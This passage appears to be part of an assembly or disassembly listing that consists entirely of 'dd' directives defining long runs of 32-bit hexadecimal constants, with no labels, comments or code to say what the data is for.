		dd 0CB3B02B4h, 9995A0A7h, 92332D5Dh, 1A5648FBh,	6F4D2ABBh
		dd 1F20B477h, 0F5314E6Dh, 9775A435h, 5B01C5A2h,	38D9CB62h
		dd 18F75AAh, 8826297Fh,	43AC3DB6h, 64FBBC6Ch, 59A9F115h
		dd 75DB53D5h, 0AF964D6h, 1EED3950h, 455EEB98h, 0A8213A83h
		dd 7AE9ACDAh, 17E3CF7Eh, 917E8FE2h, 2DA0CFB7h, 64942E5h
		dd 32343FA5h, 43A186FFh, 2FA5F864h, 7330C39Dh, 95D62373h
		dd 8503356Bh, 0D697B606h, 63995161h, 0BB97F3C2h, 1BDB6B7Ah
		dd 249CC0A6h, 0EAAB0D50h, 0EEED0FEEh, 7B611BC9h, 0B755180Ch
		dd 0A5461A39h, 8CC85A50h, 8A8BD0A0h, 3F89AA87h,	0DEE8485Dh
		dd 0C4C3C1EEh, 67FD33B5h, 24A57DE0h, 0E33D174Eh, 52CBB207h
		dd 5D9F4675h, 0B2AA354Ch, 35E3474Fh, 503E7208h,	631D6D01h
		dd 0C98448Ah, 4DA5A179h, 0E5FB295Fh, 46F299AFh,	76DBED3h
		dd 0DF47C341h, 0C166BDC4h, 0B62F1B9Fh, 0BAB6C947h, 20F6AC48h
		dd 0B4BD3555h, 855204EAh, 0FA0A3FDAh, 0A92E8D55h, 6DB6B821h
		dd 9968EB62h, 0DB0429F5h, 0EF820C39h, 5A234FB0h, 1D306ABh
		dd 743F2BBFh, 15A1CB47h, 873DB3C0h, 0F2F9168Eh,	781EAEEDh
		dd 0B9AE265h, 0A95CF6EFh, 8FD5F381h, 0A3A6DB5Ch, 0D454728Ch
		dd 0E9A0FACDh, 2C908EB3h, 5AB976B0h, 61A1AE03h,	0DC0B6D65h
		dd 4BDC9502h, 884A5A52h, 0C1707FADh, 0FC098D0Fh, 0A48C642Bh
		dd 88C466ADh, 9AD01B3Fh, 7E4EBED1h, 0F4A646Ch, 0A4762E10h
		dd 11E7D95Dh, 3396A699h, 0D6EB3820h, 28998F66h,	5CEE4050h
		dd 0C9060B7Dh, 8DE31F2Ah, 8962A174h, 0C3FD7F9Ah, 9E99801Ah
		dd 6D5281A5h, 0D89F54AEh, 33742799h, 418640Ch, 3FA67E75h
		dd 60743EF2h, 0FC7FD5Eh, 105A331h, 105614E2h, 203E7B17h
		dd 35F0A40Dh, 885631DEh, 0B9210923h, 949F497Ah,	0FF803A3h
		dd 583FE144h, 2106BE3Ch, 2C7C3C09h, 0EC988A49h,	66A83FEBh
		dd 8D316038h, 39B85F24h, 614EF55Ah, 0B06BEE3Dh,	395B099Bh
		dd 0F968FE23h, 5F3FC5C3h, 2DA646B7h, 19A3B229h,	780A3D22h
		dd 9509EDDh, 94DF873h, 0FC199D6Eh, 3540B1AFh, 0CADFEE96h
		dd 30CEB17Ah, 0EEDAFB6Fh, 0E38E8ED6h, 1812C3E3h, 34577F59h
		dd 1E957D98h, 3E1788E0h, 0CEA0ADD1h, 0AB362985h, 70C7A32Ch
		dd 0F5A35DBCh, 4FFF475h, 2B2393D4h, 42D16AF9h, 37392F9Eh
		dd 875B42B0h, 485CBED8h, 17C8399Ch, 0BE5F3F01h,	8E17B2C1h
		dd 0FBC495FDh, 4A7E7796h, 6A31DC5Dh, 9B923BF9h,	0AF5BF383h
		dd 9354FE6Bh, 89D177h, 0D96E5EAEh, 151DB5B0h, 0B82159D6h
		dd 77039BD3h, 5AF550A6h, 4C6ACAA5h, 62D918Ch, 95A356EBh
		dd 0A155B16Ah, 0AE437B8Dh, 532F5F71h, 0A6E66D4Ah, 0AFDEF485h
		dd 5F793315h, 0AF0B86E9h, 0AE7CE75h, 6FCED18Bh,	27B2EEC5h
		dd 93ED2BBCh, 1D567238h, 0FABD07B4h, 9D439710h,	0DBD2E5E0h
		dd 0F0FCB270h, 63575817h, 15F5967Dh, 78B50839h,	0C762E9Ch
		dd 608E3EB4h, 6D21BCFBh, 0E9EC2C3Bh, 64A5B464h,	5B79DD6Bh
		dd 2D1CAE64h, 1E5D0B89h, 94ED9CDFh, 6C82F04Dh, 8B462D09h
		dd 4791BB02h, 0BF128DAFh, 0F50032CBh, 71C14BB4h, 55CE59A7h
		dd 0B12506DFh, 0EA0FB888h, 0A69B3C8Ah, 0FBCFC8FEh, 0BBE10838h
		dd 73C54232h, 0D53A3E75h, 45A942F1h, 7B07ABFFh,	0F0CBA351h
		dd 671A575Dh, 1C165A0Dh, 3CF1DAD9h, 18B80783h, 0CCF053E2h
		dd 0F0B04BD8h, 1739CC5Eh, 99F916F3h, 0F0F1C4A5h, 0CDAEE4EDh
		dd 41534B48h, 1FF4505h,	0AAC25377h, 0DB4A8EE1h,	30983E16h
		dd 0FC4823Bh, 84A55A55h, 0EECEE31Fh, 4C60A3D6h,	953444C7h
		dd 0C4F37D05h, 84A8959Fh, 57C1BD49h, 0AF27806Eh, 0BCBEAE46h
		dd 1F9595F3h, 66CF2078h, 0D264B39Fh, 503035C0h,	328EB43Eh
		dd 0FC7A9879h, 90F1F7BCh, 6D14E59Bh, 0EB26B1DEh, 0BA60FD43h
		dd 55AA13BCh, 0DC8C12D1h, 635C0AB9h, 0AB543F1Dh, 0FB56928Bh
		dd 654E508Bh, 23212501h, 47A3D1DFh, 0F755759Ah,	6E32A36Bh
		dd 0C2529B38h, 0C06EF1D8h, 0A3B300B0h, 0C943DC02h, 0B49DE87Fh
		dd 75367A15h, 8974735Ch, 0BE53CF57h, 81A12BD8h,	0F71B88D3h
		dd 0CCBC1CAFh, 156B479Dh, 9924D4BBh, 9F33460Fh,	0D3EF82Bh
		dd 482B3457h, 413952EDh, 0C0A36AAEh, 6078FE4Ah,	1F4639F5h
		dd 9470F7CAh, 275A5F8Bh, 0F66B7D71h, 0B6E1FE53h, 9D8FF2E2h
		dd 0C4155A42h, 0A0AF4704h, 10FC5C3Fh, 1EEB7D6Bh, 7E9467CBh
		dd 0C98EF008h, 0AF685AB8h, 24734456h, 0D7E4F6EBh, 0E184BAFAh
		dd 550F333Ch, 2ECFD6E7h, 25E0C6CCh, 1CCAC5E4h, 0FC5F5C6Eh
		dd 0DF6EE6AEh, 0F9D8ED02h, 0E022DC5h, 0C7C84DA6h, 0B74BBB08h
		dd 0CC0F8B79h, 0B955E88Dh, 17E5F6F7h, 27F8FAD7h, 24702C3Fh
		dd 0DBBE9CA0h, 3CF33279h, 0C4C1A0A3h, 0D1B61703h, 0B83C740Ah
		dd 543E1F2h, 39AB557Ah,	1155EA33h, 0AF29AA86h, 0D5A2E3CCh
		dd 0C0B1EB26h, 98B821E8h, 50ACECFAh, 31142F63h,	0E00BD363h
		dd 846E6B05h, 0D1753B32h
		dd 358A7F6Eh, 0ECC1BD68h, 4BFAE43Ch, 0F8D449FDh, 6D7C657Ch
		dd 0FE30B559h, 4E11AE65h, 4E3529DCh, 2DB89D5Dh,	9CAC92F9h
		dd 0FA94737h, 3DD135B6h, 3B7F864Eh, 79CED76Fh, 355497CFh
		dd 6D41A25Fh, 0D19D82FCh, 754BEAFCh, 3BA721EAh,	0BEADD486h
		dd 9E50B5CFh, 0D35C36A9h, 1010B4B2h, 972BF4B6h,	4A8A6E92h
		dd 0C66D9035h, 3064F04Ch, 204617B8h, 0D40C34BDh, 695DFD86h
		dd 0EBFAB4BBh, 7FCFC0F8h, 5B748D03h, 0E5C35E2Fh, 4C51DE97h
		dd 6BD9AC7Ch, 0AFB87E1Eh, 0BF28519Ah, 656189B3h, 92AB799Bh
		dd 0FF727F88h, 8E2DC79Ch, 0CFADB196h, 0EB3A969Dh, 0BAE842DDh
		dd 59FD4ACBh, 9AE4C88Eh, 97ADD378h, 3760285Fh, 0D3ABD9BAh
		dd 9712778Fh, 0FE120193h, 11A7F61h, 57CDB650h, 0DFC3390Fh
		dd 0A714D260h, 0AEAB0D91h, 83AE92B9h, 996B568Dh, 512591D4h
		dd 0BF8F57DEh, 0AC12CEB3h, 0F1A73BB3h, 95A71CBEh, 533565A8h
		dd 0CC1DCAD3h, 44B1FA85h, 4606FC79h, 0FDADB29Bh, 1BECF7BBh
		dd 0B7A48938h, 0E5F0FE0Dh, 5674A3A3h, 67238A8Eh, 6833959Fh
		dd 72A564BFh, 5372D9A8h, 0FB8C34B4h, 0E159C2E7h, 0DE30CCFBh
		dd 55A8638Fh, 56E605FFh, 0F3AFBD45h, 0A521DCC9h, 14C95A1Bh
		dd 0AA71574Dh, 0F2D1B3D6h, 0D9ECAA2Fh, 6C367EEBh, 0C1F16E1Ch
		dd 8A9C6787h, 0CAAD475Ah, 234EE5D4h, 30117BF5h,	0FC6DF567h
		dd 15C2E92h, 0BA4C699Fh, 725AFE5Dh, 92E73F06h, 2AF6F2D0h
		dd 1B7C0EC3h, 0D22F8DD7h, 0E1B5EB02h, 546EFB87h, 0A2D13207h
		dd 0B249A3D4h, 375D29B0h, 0BFE2A7DAh, 6AD8AF69h, 531245F8h
		dd 0F9ED2A1Dh, 0BF2DAB41h, 0E6AA0EBEh, 8601486Ch, 9507E28Ch
		dd 5BAF2417h, 8D225CD9h, 0EC8159CEh, 9E87473Ah,	7A3D6E51h
		dd 0C7CD1E80h, 0D1B1E65Dh, 0DF09E967h, 3E2B4E0h, 0E452256Bh
		dd 0AB11A572h, 98BF82FCh, 23A31BE7h, 3072AB2Dh,	0E224A813h
		dd 0DCD25556h, 0CBD456A8h, 0DDDA7AEFh, 6D5DAC71h, 33E19292h
		dd 2D064EA1h, 83D63C97h, 9EF6626Ah, 7D5BB12Eh, 0F240F39Fh
		dd 38167CA6h, 9EEF1FF1h, 0A5B304BCh, 3D682A8Dh,	7C6C982Fh
		dd 3D3E8063h, 0A397B81Fh, 0B724CD42h, 7E3BE7FEh, 6DEB4FFh
		dd 0F82AEB9Fh, 6C99CB61h, 0B1F67E5h, 81F99993h,	141BF3C9h
		dd 82CFE8F9h, 90030286h, 1AEB7E3Dh, 41260F04h, 62A2E9E0h
		dd 0AA653CADh, 0DB6DF2D7h, 29CA133Dh, 0A07339A9h, 0BDD3A857h
		dd 65405FCBh, 6E8A6BCFh, 0D87155C6h, 0F7F0731Bh, 848D3A0Fh
		dd 9955F51h, 23D4674Fh,	0D8F3DCF4h, 68857ACAh, 0E20A48B2h
		dd 193BF68Ch, 22B873DBh, 0FA860D2Dh, 5A313538h,	5E2F5D34h
		dd 9EE868CFh, 3F6E4FB7h, 60B86BB0h, 107B45Fh, 84DBF045h
		dd 0DA598655h, 0E273AFCh, 0AB7F7C1Dh, 0C6F227D3h, 0C235BCF8h
		dd 0BEF62640h, 0A9BE4B88h, 0B11FB065h, 4722A650h, 0CD707350h
		dd 0E122AD7Eh, 0D35F7CB1h, 59A7569Ah, 3BFCE60Dh, 0AFE512F5h
		dd 34DAEB56h, 5F97DD80h, 86ABE53Bh, 0B44DB736h,	4BD83ED4h
		dd 2ACF267Bh, 0B6D36AFFh, 0F0CDA9E3h, 0DC7BF1C0h, 523D9A7Ah
		dd 81F4B016h, 0DB08E099h, 6C6433Ch, 0F92C917Fh,	10AE1D60h
		dd 4BE2A43Ah, 0C5BE43BAh, 0D551567Dh, 3055684Bh, 90BBB47Fh
		dd 6411D8A2h, 0D1F2E325h, 2220D6D6h, 0C23AAE90h, 4D8ADDFCh
		dd 0E947A897h, 0EB0BF650h, 5D86C13Eh, 0E3D5A9D7h, 35EF8D68h
		dd 90F9BBCAh, 0C60ADF55h, 2EB8F6DBh, 77523AD3h,	5DE65D27h
		dd 30AFC8Dh, 0FEBD9197h, 5BE98452h, 44FAF94Ch, 5C659ACBh
		dd 217D216Eh, 5F526661h, 0ED74FACFh, 0CE1510DFh, 707C7D5Fh
		dd 0AD81E9Fh, 65AA4D6Ch, 0E1AA279Ah, 876F8426h,	3EC9B989h
		dd 4D914305h, 5091E21Bh, 1660F49Ah, 0B03B480Dh,	0D722E496h
		dd 3AFC9599h, 93362C08h, 370F2BEAh, 0FDF9C1EBh,	0DFE37FB3h
		dd 92C8D7F0h, 137729D3h, 0FAD0B541h, 7779DAC0h,	302F3F0h
		dd 9AE186DFh, 0B22E654Eh, 4517318h, 8A6975CAh, 0F30E7DE0h
		dd 3AE8EEAFh, 153773C8h, 44D4B045h, 0EA37B159h,	9BF37A1Bh
		dd 8C84A049h, 0FE87AA76h, 0F7E8CECEh, 78CB6216h, 9D71AEE9h
		dd 6EE9A947h, 90C3D608h, 9DC9D6B2h, 0D8DAE8D9h,	0D8DBCC51h
		dd 8F848559h, 627D7F7Ch, 45CF56DAh, 44A09CEBh, 26188816h
		dd 42DA6494h, 0B9796E85h, 9FD905B4h, 97E5CF16h,	9B292E94h
		dd 153E5271h, 0EABA517Eh, 6FAC698Dh, 7152CDBh, 5DDF1373h
		dd 8FAC7B27h, 0B61358C9h, 0A567A5EEh, 0F3778768h, 9E0B450Eh
		dd 0B5136D6Dh, 1ABF987h, 86A317AEh, 576362A5h, 0AF295F80h
		dd 0AE27A291h, 0D90B2F24h, 0B6ADF535h, 2EF70DB0h, 24D4A43Ch
		dd 0F521B059h, 7F137F4h, 5715A926h, 0C0819AB9h,	0CE7CCA0Dh
		dd 4C0D1CEBh, 2397F2CEh, 0B8BF96A7h, 0A4A3A867h, 0D1624B29h
		dd 0CABD7162h, 0EFA4BE6Dh, 0A7BBFD26h, 0EE74C194h, 0DCEBE882h
		dd 774E2B36h, 43F0C7DBh, 0D82451DEh, 3CAD58D7h,	0BF1ACBFBh
		dd 94437694h, 0EE973F7Ah, 877DAD12h, 35BAA257h,	79780769h
		dd 9EAB70D5h, 8707E46Ah, 0DDD9645Ah, 0DA64035Ch, 34726634h
		dd 0C497EB5Fh, 7D4EB045h, 0F3DCCEF0h, 8AD0949Bh, 3E3D57D0h
		dd 143EC468h, 0BC2F75A4h, 8030DC3Bh, 0E8E5E37Ch, 0AEFCA6EAh
		dd 0D90F703Eh, 0F6AD97C1h, 69064ED6h, 3EA9FE66h, 0EBC2BC6Eh
		dd 5CBD4239h, 8BE8A4F4h, 57987D59h, 0CACA2065h,	0F3C34922h
		dd 98E0F8A1h, 515298AAh, 9CD9C4FEh, 0FBBC430Bh,	3D07420Bh
		dd 32077D9Bh, 0B73F8276h, 348E993Ah, 537E7A14h,	0A2B870A2h
		dd 8EC2194Dh, 0F2508149h, 8D4D8A0h, 722A567Ah, 9531391Bh
		dd 5A4D0068h, 6AD3992Ah, 9ADFBE59h, 2099EB16h, 0F382ED5Bh
		dd 0F99D4906h, 0FD80A4D6h, 0AD6D99AAh, 787EAA6Eh, 0DC6DB9FBh
		dd 536D33B1h, 0D8CD550Ah, 368D6A5Dh, 77D65CF7h,	0A56AC672h
		dd 0A717559Bh, 0A3DA85CCh, 7E3CE7DCh, 52B85851h, 0A8CBCB07h
		dd 0B45B2DDEh, 0BC43B162h, 0F7E72331h, 0F927814Ah, 34386649h
		dd 47F1D5B6h, 666FE076h, 2E438183h, 0F39C67EDh,	0DAA944D0h
		dd 388D6AEDh, 0DADC5A3Ch, 0FD58BCB9h, 0E97B80ADh, 0F4CEB8A5h
		dd 0B5DF4968h, 492B296Ah, 0BDF78BEh, 625C41EDh,	0CB893676h
		dd 12E09D3Bh, 0F491BC46h, 3510ABC6h, 0AC5F5E4Eh, 0A4608C04h
		dd 1814A755h, 0B347F59h, 6CE1BB76h, 3A39954h, 0AB96EE1Fh
		dd 92776CDFh, 50B4F6DDh, 984E0CC9h, 67A57EA0h, 0F937162Ch
		dd 0CD3D9977h, 57D93C01h, 3AC74CDDh, 0A55A897Dh, 0A8107674h
		dd 8453EE7Dh, 18FE1C02h, 725585CEh, 17865511h, 0CBA72896h
		dd 8CEB8CFCh, 0AAE02083h, 0A74337DDh, 8BA233D4h, 395FF1B7h
		dd 0D3B4A66Dh, 8DE1C5D4h, 76269FC4h, 0F988E828h, 4F9ED9B5h
		dd 5B3ACFAFh, 0D4C933F8h, 0C76D34E0h, 0A2D5E73Bh, 73908128h
		dd 78ABBDA1h, 0C709B570h, 0BCBA8DD8h, 55C276E1h, 6D6A754Eh
		dd 0A2D1CB88h, 0A346746Ah, 0EA61D6EFh, 0D5203A4Bh, 7A2D79EDh
		dd 0D4658E1h, 0F163123Dh, 0B5334B4Dh, 37C14127h, 461B1E88h
		dd 1D7E0B45h, 4CEB98C7h, 73B03C5Ah, 313EEED7h, 0CAFBABF2h
		dd 6CFA4AA2h, 8B275078h, 4BB13BB6h, 0CC8E457Ch,	0B5062753h
		dd 0F5C1DC3Bh, 7035ADBFh, 0D78D1AE7h, 9F52C956h, 24179722h
		dd 0AD92AB5Ah, 0AD096E76h, 3946B59Dh, 7E0A258Dh, 0DB39A79Fh
		dd 0F3DFAF50h, 58AEB085h, 6E96665Fh, 0AF820CA7h, 2FB8BBD0h
		dd 5EEC8EF2h, 1BF4AA65h, 0D0405C2Eh, 2CB4078Bh,	0CC9AA729h
		dd 4786502Bh, 0E2B36ECFh, 55424B03h, 0AF1B5E6Ah, 0DC56FC2Ch
		dd 157EE2AFh, 0A2598AEAh
		dd 73172762h, 0D55C8136h, 3779C4CAh, 242C35DCh,	3691D844h
		dd 7384826Ah, 0ED757FC0h, 0A08C5FC5h, 58DEF3B2h, 98C2A3Eh
		dd 481025DDh, 3288C873h, 9C5057B8h, 65BC22AFh, 0D75E7A66h
		dd 56E5A517h, 6F85120Bh, 0A9990507h, 0E991438Ch, 0E463A91h
		dd 0BA57F2FEh, 0E2B94A6Fh, 1F6B4CA1h, 1E6B563Dh, 0C86E8D5Eh
		dd 97428133h, 9BDD1D2Ch, 74913873h, 7DA2C291h, 0EDD058A9h
		dd 0A9792747h, 3E681D6Ah, 75FACD4Eh, 934C7CB3h,	57D262AAh
		dd 0D437C5FFh, 0BAEC1347h, 0ECA533E2h, 44EE3B03h, 35DDB9CCh
		dd 984A45EDh, 2EB3479Dh, 7A6A9CE1h, 3743F59Ah, 9FA2CB39h
		dd 995573D8h, 5A6811E6h, 535B736Ah, 0E7632BFBh,	4184B1Fh
		dd 0AA23D576h, 6D561F0Dh, 3F13E47Eh, 0FF119A3Ch, 1C6A077Ch
		dd 5D6BE2Eh, 57F6F736h,	6E92AF44h, 0B46052D5h, 1DA7B1DCh
		dd 0C35D555Ch, 0F8D8CEA5h, 0AAC18309h, 0DA02DDABh, 38C566B8h
		dd 0C978C57Ch, 32D8FBDBh, 0CBED20CEh, 0D45A1F86h, 6E9AFDBDh
		dd 92F82A64h, 7E373BC3h, 6483F9A8h, 8E090125h, 7936AE7h
		dd 0C788AD1Fh, 6ABA0729h, 55E382C4h, 748EDF6Ch,	562DD13Bh
		dd 40E8DDEEh, 17C14712h, 97BD40BBh, 4B2F80ADh, 917F81F3h
		dd 0AFC6198Fh, 0FCFCB4D4h, 577B225Fh, 0D4F8AB3Bh, 24B11675h
		dd 9C7537CBh, 503896B5h, 74BA66CCh, 0BD4A6D3Bh,	0F76D91B4h
		dd 0B13EE092h, 45555D59h, 9083FC50h, 0DBBA1F09h, 2FB5AAA8h
		dd 773FD635h, 0BDF24411h, 0C2E11E0Fh, 0A52D0111h, 188CC07Bh
		dd 0FA5F5432h, 0E4E31EFEh, 0F871E7E1h, 0EEEAF3E5h, 2CAA2936h
		dd 5FF0DF04h, 991EC546h, 7338A17Bh, 0CA274E3Fh,	3C2FD326h
		dd 6AF057E3h, 9E5CEB4h,	658E7E24h, 0C3D57D57h, 2342F729h
		dd 8C4F2FB0h, 0DD576156h, 49F08A7h, 4F7384F6h, 6F4ED651h
		dd 0AA2C7570h, 152EFA72h, 0A7CE7B3Fh, 0F9B76A71h, 0ED5B511Ch
		dd 38CB6664h, 0D71F3096h, 29359D14h, 16BDAB5Ah,	0ABB849DFh
		dd 16D12B9Ah, 22A1891Dh, 148EA87Eh, 7AB89A58h, 0C5FBAE29h
		dd 0ACB6597Dh, 0A9857EA1h, 6162872h, 0D5A3DA76h, 9E5ABB65h
		dd 756CA3AEh, 51336DBDh, 15B87052h, 833ACE41h, 0E0D59969h
		dd 0D90AA984h, 53D9DA65h, 55A863EBh, 15CADBAFh,	8ABE22B8h
		dd 0A37D49BDh, 660926Eh, 0FDB6B173h, 0FC018D6h,	0E2DBE21h
		dd 133CE5ECh, 0EE53CA29h, 0C1D69C9Eh, 0D425AE2Fh, 0D665C860h
		dd 7FB9DDA6h, 0DC26609Ah, 44F45175h, 57A2B12Bh,	530FE475h
		dd 0B76BF523h, 99D8C757h, 33EFA409h, 8EF978AFh,	2D275A63h
		dd 551BDFB6h, 4DAFD6BAh, 0AE8D66AAh, 8ED33171h,	0F8223EC2h
		dd 0FCCF7621h, 0FCBB91C7h, 6EC3371Ah, 6B32224Fh, 4BCE5DB3h
		dd 765B627Fh, 0A7CA4454h, 6830B6E8h, 0FEC6E8EBh, 977C7C21h
		dd 365C58B6h, 6156F86Bh, 0EC3FEB04h, 5FF54A98h,	0C5EC6AA8h
		dd 8F9DBE80h, 919CC15Bh, 646D614Bh, 9DBB6733h, 5F811A3Fh
		dd 0A6556558h, 0FE1A29B0h, 46027EC5h, 279428B6h, 88155FD1h
		dd 61FCFF9Ch, 2B3F2977h, 106F9DDAh, 0DAEE078Dh,	0F426117Ch
		dd 788EF7CDh, 719FD54Fh, 0D02271A1h, 4DA39C51h,	0EFF0DD08h
		dd 6EEF990Dh, 6DC57758h, 0C8E495Ch, 0AA149DFAh,	0DDEFB221h
		dd 0BA69FF17h, 0A379998Bh, 0F7352E4Fh, 0C3E5A313h, 57C4A876h
		dd 7EF2E76Fh, 0A4F8B214h, 8DF5B46Bh, 720EBBECh,	0A7843897h
		dd 0CE22A37Eh, 3EF7D74Eh, 0CE5A978Dh, 0E91F2B56h, 8C5D379Eh
		dd 0FBC27178h, 5C0FE0F1h, 0A17A53A8h, 0B8619CAAh, 7DB5A17Ah
		dd 8159F5EDh, 84591612h, 133A0EACh, 34BB574Dh, 9F42F5E1h
		dd 4657F6FBh, 6EAB94DFh, 0A048D65Bh, 131AC544h,	0C72EFB38h
		dd 49F43E36h, 0F05616B7h, 0E529EE8Bh, 0C81BC50Fh, 48A2BDD6h
		dd 0F337FE6Ch, 9185E026h, 24FEF4A6h, 8C08F770h,	0F539301Bh
		dd 0B4E2BFCAh, 3CBAB93Fh, 2B01E7DAh, 46B3AF47h,	9BB8D4FDh
		dd 0F58A723Dh, 46BB6034h, 255342D6h, 0ABB4E61Eh, 66B31BDFh
		dd 0FF61BAD8h, 15B4F6C6h, 0EEA2F45Dh, 13037E5Ah, 0B54ECD2Dh
		dd 1F588FACh, 60D9F43Fh, 47F3EE2Fh, 3F1144FBh, 52A6CDEh
		dd 0AF683F04h, 90DC664Ah, 1EA337C4h, 0CDAD9C6Eh, 0A061425h
		dd 0BFB5A7D4h, 0C337DE9Ch, 8A874CCEh, 677D12B6h, 3B72EF5Dh
		dd 4E869A66h, 3B71AE98h, 0DEC3608Ah, 0FCFBB3FDh, 0BF0BDA2Dh
		dd 171EBC0Eh, 31C19EFEh, 84A3B71Fh, 86CAE767h, 43832B79h
		dd 144300C3h, 36C79C7Eh, 7A5F37D6h, 3C458319h, 38364A2Ah
		dd 812E6574h, 0DBB5DE4Dh, 0E5B153A5h, 32BD17E0h, 0FEF91DCFh
		dd 0F116B4E3h, 0D7FBF44Eh, 36A12FF7h, 9248B9DCh, 5F421803h
		dd 909D3A50h, 0F7FF650h, 0A77D024Ch, 333A01CEh,	57DDD2h
		dd 4BB9E409h, 975353A3h, 0F789A568h, 305BAB6Fh,	0D1E425C7h
		dd 0E110FB10h, 0C1F2BA01h, 90BEC5A1h, 6BE5C2B3h, 0D45A1172h
		dd 0EE2BFE83h, 95F3367Eh, 0BE53F299h, 0BF257B96h, 858D5972h
		dd 2AEC5DF1h, 9C792027h, 0A4A2316Eh, 661976A7h,	5D4A9F3Bh
		dd 667124D2h, 9D72C373h, 8D8D7B0Dh, 0B1C765B1h,	6D2CB59Ah
		dd 931566A2h, 72BA0E69h, 0C2575DF5h, 49556CE4h,	0EF15B7F1h
		dd 0ECD73DCBh, 75F694FBh, 0ADCAF21Ch, 0F20B8B72h, 600DC23Bh
		dd 7C1E5A79h, 0DD416A3Ah, 9D9B0471h, 0F12E6D02h, 0C080E445h
		dd 0C15B5251h, 52FD6DF4h, 0AE41715h, 7DD944BEh,	5FAB4EE0h
		dd 756DA871h, 1F2BE84Bh, 3D899AEh, 0E593174Bh, 0D8E5E37Ch
		dd 960E7121h, 97369A38h, 65C5D607h, 1E36F2C7h, 3EEFE7Ch
		dd 0F866A75Fh, 9CDEDA38h, 282D4FB6h, 0D87F1CB9h, 0A09E7A23h
		dd 737A29F7h, 0BBB5BACDh, 0FEED317Fh, 0B1DBB0E9h, 4C8D0057h
		dd 0DA0D5004h, 86B0DF4Bh, 6BEE2AD5h, 0A0146238h, 7BE7451Bh
		dd 0E3CD3C15h, 43BA3E9Dh, 0B74CC6D3h, 56E285FFh, 0B5A7B6ADh
		dd 0B381A5F5h, 0F1E1D613h, 96D611C5h, 0EB48F8E3h, 0CA87B6CEh
		dd 0C8DD8D9Fh, 0FDF2872h, 0C94AF84h, 68251355h,	0FE156AA9h
		dd 0B3588FBCh, 6F0EF435h, 4E5DCE81h, 621D11DFh,	57698388h
		dd 2D1D6058h, 13EF35B2h, 0D866EC1Fh, 2B4EC6DBh,	0EFE60F6Ch
		dd 0E72DC616h, 0E6B9AFAh, 8D915CBh, 0D2F418E1h,	0FB1444A7h
		dd 0F4CB3A3Dh, 3AE5B10Dh, 0AABC9667h, 4A025ECBh, 0FCA30EC5h
		dd 0D59F743Bh, 8FF7DA9Dh, 65092608h, 0EDEB4FFh,	8E6806E7h
		dd 6879677Dh, 0F0FB990h, 9FE03303h, 9AFD664Bh, 0D7F9788h
		dd 1DFEE464h, 933E6F96h, 9266E9A4h, 0B9DBAF14h,	37B1ACABh
		dd 93ACF87Eh, 8F47A177h, 6D94F34Ah, 1D5CE1F8h, 0A938808h
		dd 3A806FD2h, 0C7CEBDBAh, 0C5FCEFF0h, 84A0DD4Dh, 0A36F6CB9h
		dd 0FD536651h, 874E8313h, 0D9F602F9h, 8373D1CBh, 0C9DD268Eh
		dd 5A8C424Eh, 6A726729h, 0C8B5C569h, 4A4522D1h,	61F92565h
		dd 929C22E1h, 4D607D58h, 5DC1EE24h, 0B0381D05h,	402B15CFh
		dd 0B7C07AB1h, 10B4BAE4h, 3FAB9DEBh, 34FF4B70h,	0AB53E94Eh
		dd 0AA4635E9h, 6575ACEFh, 4ABA5230h, 46FA9569h,	0BA98BE83h
		dd 0C05F6079h, 9FC42D12h, 841A93D2h, 0BA2A244Dh, 0D7F3F44Ch
		dd 0EC05571Bh, 7DA37508h, 0EED8BF0Ah, 96C8AD52h, 0E284D69Fh
		dd 30D184FAh, 0ED7D1C09h, 0BE309C1Ch, 98BB2337h, 0D2C9AA5Ch
		dd 6D16AA0Ch, 0A3CE025Ch, 0C6EC8CE7h, 360B4EFFh, 3B8D81E6h
		dd 4D15FAF8h, 8B555E87h, 0D1D1C3A2h, 495E28B4h,	6F4E52A6h
		dd 2D1B1B5h, 3830EA93h,	0CD9262E5h, 75074F47h, 3B29863Eh
		dd 3D4CAD17h, 0D50A98E5h, 33AF9A23h, 0F05CF53Dh, 0AE477455h
		dd 22ECCEF9h, 0C62C54E1h
		dd 0BD0E8ACDh, 555ABD14h, 68E2AFE0h, 0DADAE171h, 0AC37C7F6h
		dd 0E0952352h, 0C379CD77h, 8913E6C8h, 0B70A1536h, 0A08FABDCh
		dd 0C8945FFDh, 9C853B8Dh, 0EEE40A1Dh, 8714F1F0h, 0B527CE16h
		dd 0B28F86AFh, 95F29FBEh, 4B0A0CDFh, 82B383A4h,	0EBF2EA89h
		dd 33D5E546h, 0B7E080B3h, 0FDEC46DAh, 3FF982F8h, 0CC9AEA52h
		dd 0EEEC5DD2h, 9183592Dh, 0D2C889CDh, 0FE10E466h, 27DEC338h
		dd 0C2AC502h, 17BE680h,	9413DDF3h, 0DEE3B3BBh, 1B4671D7h
		dd 59C7735h, 8E8312B7h,	9B52A1Bh, 0FA8561C7h, 5FA2EFA6h
		dd 0A29EA2A9h, 0E268261Eh, 0F54A75E5h, 21F8EC95h, 407BA367h
		dd 855F093Dh, 6883F371h, 0D9A496D9h, 81F76F54h,	39C55A67h
		dd 0AB262806h, 5467A317h, 82E5CA9Dh, 0B99A9949h, 85FE4A21h
		dd 0FD0655E0h, 2D2BD94Dh, 0AB8074AAh, 51155E7h,	24B27FE1h
		dd 0B231B838h, 73551943h, 67EA85BBh, 0DEB27CC1h, 5E7F50B3h
		dd 0C0B1DA0Ch, 523A94A7h, 0E6D4B7B1h, 494A855h,	38F079E7h
		dd 81B24009h, 7DA62DBFh, 86AA41FCh, 6ED222EBh, 2AAFB34Eh
		dd 7EE42E80h, 0F81E68B8h, 87FDE5ABh, 0CFFB3D22h, 0B8966B69h
		dd 2CE7746Fh, 6AEB5726h, 0AC8CA24Ch, 0D6C436C2h, 451DA53Bh
		dd 1F89D166h, 3392297h,	5A244E77h, 5C36B4E6h, 6F25DDA6h
		dd 9D72E6BEh, 6631DF9Ah, 0E31BA678h, 72606088h,	0AE7EB8CEh
		dd 0AB3361BEh, 96C72DEDh, 0D14D2638h, 6947B0F6h, 1E5D64ABh
		dd 78AEC3A1h, 3A89E86Ah, 71894731h, 6FA4FABAh, 5A81A757h
		dd 4E370189h, 0E78F30CCh, 0B346A735h, 0AAC5FFE8h, 33794490h
		dd 0F6183BADh, 6D7E255Dh, 0CB05989Dh, 0C5B15D54h, 0FD28A2CFh
		dd 0F0B863FEh, 0F47A7E0Bh, 18A01F17h, 0CF46549Dh, 68E5436Ah
		dd 7BB51AA7h, 84F66523h, 0ABC5C9EDh, 67D9B214h,	58CD7A77h
